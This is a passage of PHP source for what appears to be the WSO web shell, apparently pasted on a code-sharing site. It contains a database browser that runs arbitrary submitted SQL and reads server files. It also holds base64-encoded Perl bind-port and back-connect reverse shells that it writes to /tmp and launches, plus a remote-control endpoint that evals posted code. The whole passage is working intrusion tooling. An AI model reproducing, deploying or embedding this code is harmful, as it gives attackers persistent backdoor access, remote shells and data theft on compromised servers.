  1783. s_db='".@addslashes($_POST['sql_base'])."';
  1784. function fs(f) {
  1785. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1786. if(f.p1) f.p1.value='';
  1787. if(f.p2) f.p2.value='';
  1788. if(f.p3) f.p3.value='';
  1789. }
  1790. }
  1791. function st(t,l) {
  1792. d.sf.p1.value = 'select';
  1793. d.sf.p2.value = t;
  1794. if(l && d.sf.p3) d.sf.p3.value = l;
  1795. d.sf.submit();
  1796. }
  1797. function is() {
  1798. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1799. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1800. }
  1801. </script>";
  1802. if(isset($db) &&$db->link){
  1803. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1804. if(!empty($_POST['sql_base'])){
  1805. $db->selectdb($_POST['sql_base']);
  1806. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1807. $tbls_res = $db->listTables();
  1808. while($item = $db->fetch($tbls_res)) {
  1809. list($key,$value) = each($item);
  1810. if(!empty($_POST['sql_count']))
  1811. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1812. $value = htmlspecialchars($value);
  1813. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") ."</nobr><br>";
  1814. }
  1815. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1816. if(@$_POST['p1'] == 'select') {
  1817. $_POST['p1'] = 'query';
  1818. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1819. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);
  1820. $num = $db->fetch();
  1821. $pages = ceil($num['n'] / 30);
  1822. echo "<script>d.sf.onsubmit=function(){st(\"".$_POST['p2'] ."\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=".((int)$_POST['p3']) .">";
  1823. echo " of $pages";
  1824. if($_POST['p3'] >1)
  1825. echo " <a href=# onclick='st(\"".$_POST['p2'] .'", '.($_POST['p3']-1) .")'>&lt; Prev</a>";
  1826. if($_POST['p3'] <$pages)
  1827. echo " <a href=# onclick='st(\"".$_POST['p2'] .'", '.($_POST['p3']+1) .")'>Next &gt;</a>";
  1828. $_POST['p3']--;
  1829. if($_POST['type']=='pgsql')
  1830. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1831. else
  1832. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1833. echo "<br><br>";
  1834. }
  1835. if((@$_POST['p1'] == 'query') &&!empty($_POST['p2'])) {
  1836. $db->query(@$_POST['p2']);
  1837. if($db->res !== false) {
  1838. $title = false;
  1839. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1840. $line = 1;
  1841. while($item = $db->fetch()) {
  1842. if(!$title) {
  1843. echo '<tr>';
  1844. foreach($item as $key =>$value)
  1845. echo '<th>'.$key.'</th>';
  1846. reset($item);
  1847. $title=true;
  1848. echo '</tr><tr>';
  1849. $line = 2;
  1850. }
  1851. echo '<tr class="l'.$line.'">';
  1852. $line = $line==1?2:1;
  1853. foreach($item as $key =>$value) {
  1854. if($value == null)
  1855. echo '<td><i>null</i></td>';
  1856. else
  1857. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1858. }
  1859. echo '</tr>';
  1860. }
  1861. echo '</table>';
  1862. }else {
  1863. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1864. }
  1865. }
  1866. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1867. if(!empty($_POST['p2']) &&($_POST['p1'] != 'loadfile'))
  1868. echo htmlspecialchars($_POST['p2']);
  1869. echo "</textarea><br/><input type=submit value='Execute'>";
  1870. echo "</td></tr>";
  1871. }
  1872. echo "</table></form><br/>";
  1873. if($_POST['type']=='mysql') {
  1874. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1875. if($db->fetch())
  1876. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1877. }
  1878. if(@$_POST['p1'] == 'loadfile') {
  1879. $file = $db->loadFile($_POST['p2']);
  1880. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1881. }
  1882. }else {
  1883. echo htmlspecialchars($db->error());
  1884. }
  1885. echo '</div>';
  1886. wsoFooter();
  1887. }
  1888. function actionNetwork() {
  1889. wsoHeader();
  1890. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1891. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1892. echo "<h1>Network tools</h1><div class=content>
  1893.  
  1894. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1895. <span>Bind port to /bin/sh [perl]</span><br/>
  1896. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1897. </form>
  1898. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1899. <span>Back-connect [perl]</span><br/>
  1900. Server: <input type='text' name='server' value='".$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1901.  
  1902. </form><br>";
  1903. if(isset($_POST['p1'])) {
  1904. function cf($f,$t) {
  1905. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1906. if($w){
  1907. @fwrite($w,@base64_decode($t));
  1908. @fclose($w);
  1909. }
  1910. }
  1911. if($_POST['p1'] == 'bpp') {
  1912. cf("/tmp/bp.pl",$bind_port_p);
  1913. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1914. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1915. unlink("/tmp/bp.pl");
  1916. }
  1917. if($_POST['p1'] == 'bcp') {
  1918. cf("/tmp/bc.pl",$back_connect_p);
  1919. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1920. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1921. unlink("/tmp/bc.pl");
  1922. }
  1923. }
  1924. echo '</div>';
  1925. wsoFooter();
  1926. }
  1927. function actionRC() {
  1928. if(!@$_POST['p1']) {
  1929. $a = array(
  1930. "uname"=>php_uname(),
  1931. "php_version"=>phpversion(),
  1932. "wso_version"=>WSO_VERSION,
  1933. "safemode"=>@ini_get('safe_mode')
  1934. );
  1935. echo serialize($a);
  1936. }else {
  1937. eval($_POST['p1']);
  1938. }
  1939. }
  1940. if( empty($_POST['a']) )
  1941. if(isset($default_action) &&function_exists('action'.$default_action))
  1942. $_POST['a'] = $default_action;
  1943. else
  1944. $_POST['a'] = 'SecInfo';
  1945. if( !empty($_POST['a']) &&function_exists('action'.$_POST['a']) )
  1946. call_user_func('action'.$_POST['a']);
  1947. function FetchURL($url) {
  1948. $ch = curl_init();
  1949. curl_setopt($ch,CURLOPT_USERAGENT,"$cheader");
  1950. curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  1951. curl_setopt($ch,CURLOPT_HEADER,false);
  1952. curl_setopt($ch,CURLOPT_URL,$url);
  1953. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1954. curl_setopt($ch,CURLOPT_TIMEOUT,30);
  1955. $data = curl_exec($ch);
  1956. if(!$data) {
  1957. return false;
  1958. }
  1959. return $data;
  1960. }
  1961. exit; ?>
Add Comment
Please, Sign In to add comment